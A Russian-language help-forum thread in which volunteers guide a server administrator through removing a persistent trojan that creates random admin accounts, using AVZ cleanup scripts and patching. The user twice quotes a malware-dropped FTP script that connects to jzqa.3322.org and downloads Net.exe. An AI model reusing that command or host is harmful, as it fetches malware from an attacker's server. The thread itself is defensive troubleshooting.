периодически создает пользователей с правами админа и тянет из сети троянцев KIS не видит

Добрый День!

с Месяц назад - KIS стал обнаруживать троянцев, и после успешного лечения, троянцы появлялись снова, но уже с новыми названиями / модификациями.
Периодически (не пойму по какому событию) создается пользователь со случайным именем и правами локального Админа! при этом в документ энд сеттинг, иногда создается папка этого пользователя, как будто он уже входил на сервер по терминальной сессии :(
Пробовал откатится с помощью Acronis на 2 месяца назад с восстановлением свежих профилей пользователей - вирусная активность опять проявилась :(
Пробовал Cureit и Kavtool - периодически ловят вирусы / троянцы, но со временем опять появляются выше описанные симптомы. Вероятно чтото остается в системе :(

Зараннее благодарны за Вас труд и помощь!!
логи прилагаю :
[ATTACH]363487[/ATTACH]
[ATTACH]363486[/ATTACH]

Уважаемый(ая) [B]marcha12[/B], спасибо за обращение на наш форум!

Помощь в лечении комьютера на VirusInfo.Info оказывается абсолютно бесплатно. Хелперы, в самое ближайшее время, ответят на Ваш запрос. Для оказания помощи необходимо предоставить логи сканирования утилитами АВЗ и HiJackThis, подробнее можно прочитать в [URL="http://virusinfo.info/pravila.html"]правилах оформления запроса о помощи[/URL].

Если наш сайт окажется полезен Вам и у Вас будет такая возможность - пожалуйста [URL="http://virusinfo.info/content.php?r=113-virusinfo.info-donate"]поддержите проект[/URL].

C:\Documents and Settings\All Users\Главное меню\Программы\Автозагрузка\killTemp.cmd - Ваше?


- [URL="http://virusinfo.info/showthread.php?t=53070"][B]Сделайте лог полного сканирования MBAM[/B][/URL].

Спасибо, что откликнулись! Да killTemp.cmd мое - темпы чистил у юзеров. я его сегодня удалил...
также удалил явно "левые" файлы, которые рождает вирус, названия на скриншоте , сам архив могу выслать...

[ATTACH=CONFIG]363620[/ATTACH]

лог полного сканирования MBAM. - делаю и выложу

еще раз спасибо!

[ATTACH]363621[/ATTACH]

Файлы такого вида в папке system32 есть? [B]C:\WINDOWS\system32\18.exe[/B]

Повторите лог virusinfo_syscheck.zip


- [URL="http://virusinfo.info/showthread.php?t=7239"]Выполните в AVZ[/URL] скрипт из файла [URL="http://df.ru/~kad/ScanVuln.txt"]ScanVuln.txt[/URL]
- Откройте файл [B]avz_log.txt[/B] из под-папки [B]LOG[/B].
- Пройдитесь по ссылкам из файла [B]avz_log.txt[/B] и установите важные обновления.
- Перезагрузите компьютер.
- Повторите выполнение скрипта, чтобы убедиться, что уязвимости устранены.

Спасибо! да есть 18.exe

пробую отпишусь....

[ATTACH]363732[/ATTACH]

выполнил , пофиксил уязвисостей теперь нет...

что дальше? Система чиста?

Спасибо! но пока система не чиста, т.к. сегодня появился новая учетка с админ правами :(

- [URL="http://virusinfo.info/showthread.php?t=7239"]Выполните в АВЗ:[/URL]
[CODE]begin
QuarantineFile('C:\WINDOWS\system32\18.exe','');
DeleteFile('C:\WINDOWS\system32\18.exe');
ExecuteSysClean;
end.[/CODE]

[COLOR="#FF0000"]Перезагрузите компьютер[/COLOR]

[B]После перезагрузки:[/B]
- Выполните в АВЗ:
[CODE]begin
CreateQurantineArchive(GetAVZDirectory+'quarantine.zip');
end.[/CODE]
Файл [B]quarantine.zip[/B] из папки AVZ загрузите по ссылке "[COLOR="Red"][B]Прислать запрошенный карантин[/B][/COLOR]" вверху темы.

- Повторите все логи.

Выполнил Ваши указания ....
Заметил особенность , что прочие появляющиеся файлы удаляет регулярно KIS, но не все , но они снова появлюятся с уже другими названиями :( и сегодня опять появился пользователь с случайным именем "1991212"...
kis не видит вируса в файле C:\WINDOWS\system32\hex158477567.exe и в файле onfNet.dat из этой же директории с текстом:
open jzqa.3322.org
comex
comex
get Net.exe onNet.exe
bye

[ATTACH]363878[/ATTACH][ATTACH]363879[/ATTACH][ATTACH]363880[/ATTACH]

Файл quarantine.zip - пустой получился...

[size="1"][color="#666686"][B][I]Добавлено через 5 минут[/I][/B][/color][/size]

по пути C:\WINDOWS\system32 появиляется файл onfNet.dat с содержанием:
open jzqa.3322.org
comex
comex
get Net.exe onNet.exe
bye

MBAM еще раз сделайте.

Уязвимости закрыли?

[ATTACH]363900[/ATTACH]

да - скачал, установил заплатки поссылкам, заново запустил скрипт - написало -уязвимостей нет

Что с проблемой?

актуальна :( более того тянет чтото с инета :( malware заблокировал win32.exe

[size="1"][color="#666686"][B][I]Добавлено через 49 секунд[/I][/B][/color][/size]

кис за сегодня прибил 40 троянских программ

[size="1"][color="#666686"][B][I]Добавлено через 3 минуты[/I][/B][/color][/size]

кис за сегодня прибил 40 троянских программ в карантине malware положил файл zysvchost.exe из C:\RECYCLER

[size="1"][color="#666686"][B][I]Добавлено через 58 секунд[/I][/B][/color][/size]

вот сильную заразу подхватил - вывести не можем :(
что посоветуете?

Давайте с LiveCD попробуем [url]http://virusinfo.info/showthread.php?t=15927[/url]

Спасибо!
F-secure - находит чтото но не может удалить :( жаль не вижу что находит... пробуес как Вы советуете LiveCD, это завтра т.к. сегодня с дому удаленно работаю...

обязательно отпушусь - просто сервак в онлайне все время диск вытащить не дают :(

по совету [URL="http://virusinfo.info/member.php?u=25279"]Vvvyg[/URL] из личных сообщений, т.к. у него была похожая зараза - я обратил внимание на то, что вполне себе порядочный процесс "SQL Server Service Manager" файл
[h=3][URL="http://www.filecheck.ru/process/sqlmangr.exe.html"]sqlmangr.exe[/URL][/h]лезет в интернет! Это в мониторинге KIS я увидел.
После того как закрыл фаерволом доступ к интернет данному процессу - 2 дня полет нормальный!!!! Полон оптимизма!

Еще отпишусь!

[ATTACH=CONFIG]365039[/ATTACH] Пока нет возможности., остановить сервер, продолжаю мытарства...
После того как закрыл фаерволом доступ в инет процессу "SQL Server Service Manager" гадости стало лезть гораздо меньше, а точнее каждый день лезет 7 штук (постоянный набор) , которые прибивает KIS. Скрин прилагаю, с надеждой, что по признакам поймете диагноз и пропишите лечение...

Обновления на sql все стоят?

до сих пор мучаюсь ( как проверить наличие всех обновлений sql ?

система вообще обновляется?

обновляется! :) по делу отключил я диск и проверил kis и cureit на новой чистой системе - не обнаружил ничего :(.

По моим наблюдениям троян тянется из интернета маскируясь по ms sql service/ и после внесения изменеий в систему, удаляется :( как прикрыть "дырку" пока не знаю, но на тестовой машине (копия в виртуалке)поставил outpost - там все чисто не появляется новых троянов ежедневно. Пока выход вижу в переходе на outpost///

все страждущим отписываюсь о положительном результате, вылечилось, установкой серверного антивируса KAV с включением и настройкой виндового фаервола....

Вывод, через дырявый фаервол прежде установленного KIS (сборка крякнутая) троян тянулся из интернета . и тянул за собой других троянов... которые кис уже позже прибивал :)

[COLOR="silver"]- - - Добавлено - - -[/COLOR]

Спасибо Всем участникам!!